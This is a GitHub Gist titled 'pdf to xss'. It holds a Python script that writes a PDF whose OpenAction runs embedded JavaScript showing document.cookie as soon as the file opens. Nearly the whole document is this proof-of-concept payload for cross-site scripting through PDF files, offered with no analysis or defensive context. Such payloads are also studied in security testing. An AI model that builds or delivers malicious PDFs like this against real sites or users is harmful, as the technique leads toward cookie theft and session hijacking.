Last active
January 11, 2024 04:19
-
-
Save sharpicx/ce979d2ec36b5b0356d0d45a1124b5db to your computer and use it in GitHub Desktop.
pdf to xss
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import io | |
import bz2 | |
import base64 | |
import sys | |
if sys.version_info[0] < 3: | |
raise SystemExit("Use Python 3 (or higher) only") | |
def create_malpdf1(filename): | |
with open(filename, "w") as file: | |
file.write('''%PDF-1.7 | |
1 0 obj | |
<</Pages 1 0 R /OpenAction 2 0 R>> | |
2 0 obj | |
<</S /JavaScript /JS (app.alert(document.cookie)) | |
>> trailer <</Root 1 0 R>>''') | |
if __name__ == "__main__": | |
print("Creating PDF files..") | |
create_malpdf1("test.pdf") | |
print("Done!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment